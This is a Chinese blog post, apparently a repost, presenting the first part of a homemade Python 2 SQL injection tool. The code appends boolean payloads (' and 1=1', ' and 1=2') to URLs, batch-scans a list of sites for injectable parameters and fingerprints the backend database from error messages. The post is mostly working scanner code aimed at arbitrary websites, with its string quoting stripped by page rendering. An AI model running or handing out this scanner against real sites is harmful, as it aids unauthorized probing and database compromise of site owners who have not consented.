码迷,mamicode.com
首页 > 数据库 > 详细

Python编写SQL注入工具(1)

时间:2015-11-21 18:21:45      阅读:327      评论:0      收藏:0      [点我收藏+]

标签:

    编写原由:自学了一点SQL注入和Python的知识.虽然,早就有了非常好的注入工具Sqlmap,但自己想写一个自动注入的工具玩玩,写的不好之处,还望不吝指正.

第一部分:注入点测试模块(injectTest.py)

#coding=gb2312
import urllib
import os
import string
from re import search

class injectTest():
    def __init__(self,url=‘‘):
        self.url=url             #待检测网址,默认为空
        self.a=%20and%201=1  #检测语句
        self.b=%20and%201=2
        self.urls=[]             #存在注入的urls

    #检测单个网址的函数
    def judgeUrl(self):
        page=urllib.urlopen(self.url).read()
        pagea=urllib.urlopen(self.url+self.a).read()
        pageb=urllib.urlopen(self.url+self.b).read()
        if page==pagea and page!=pageb:
            print 网址,self.url,可能存在注入点!
            return True
        else:
            print 网址:,self.url,不存在注入点!
            return False

    #判断待检测的网址文件是否存在
    def fileExists(self,name):
        path=os.getcwd()
        filepath=path+\\
        filepath=filepath+name
        return os.path.exists(filepath)

    #进行批量检测
    def judgeUrls(self,file):
        self.fileExists(file)
        #如果不存在默认检测的网址文件,则由用户自行输入待检测的文件
        while not self.fileExists(file):
            print 待检测网址文件不存在
            file=str(raw_input(请输入待检测的网址文件:))
            self.fileExists(file)
        urls=open(file,r)
        for url in urls.readlines():
            print 正在检测:,url
            page=urllib.urlopen(url).read()
            pagea=urllib.urlopen(url+self.a).read()
            pageb=urllib.urlopen(url+self.b).read()
            if page==pagea and page!=pageb:
                self.urls.append(url)
            else:
                continue
        if len(self.urls):
            print 以下网址可能存在注入点:
            for u in self.urls:
                print u
        else:
            print 该文件中不存在有注入的网址!

    #判断有注入的网址的数据库类型
    #如果不存在回显错误,则可能不能判断出数据库的类型
    def whatDatabase(self):
        db=‘‘
        sql=string.join([%20and20%user>0],‘‘)
        pagex=urllib.urlopen(self.url+sql).read()
        if search(ODBC Microsoft Access,pagex) or search(Microsoft JET Database,pagex) :
            print 数据库:Access
            db=Access
            return db
        elif search(SQL Server,pagex) or search(nvarchar,pagex):
            print 数据库:MSSQL
            db=MSSQL
            return  db
        elif search(You have an error in your SQL syntax,pagex) or search(Query failed,pagex) or search(SQL query failed,pagex) or search(mysql_fetch_,pagex) or search(mysql_num_rows,pagex) or search(The used SELECT statements have a different number of columns,pagex):
            print 数据库:MYSQL
            db=MYSQL
            return db
        else:
            print 未判断出数据库类型!
            return db

Python编写SQL注入工具(1)

标签:

原文地址:http://www.cnblogs.com/Kerne0/p/4984254.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!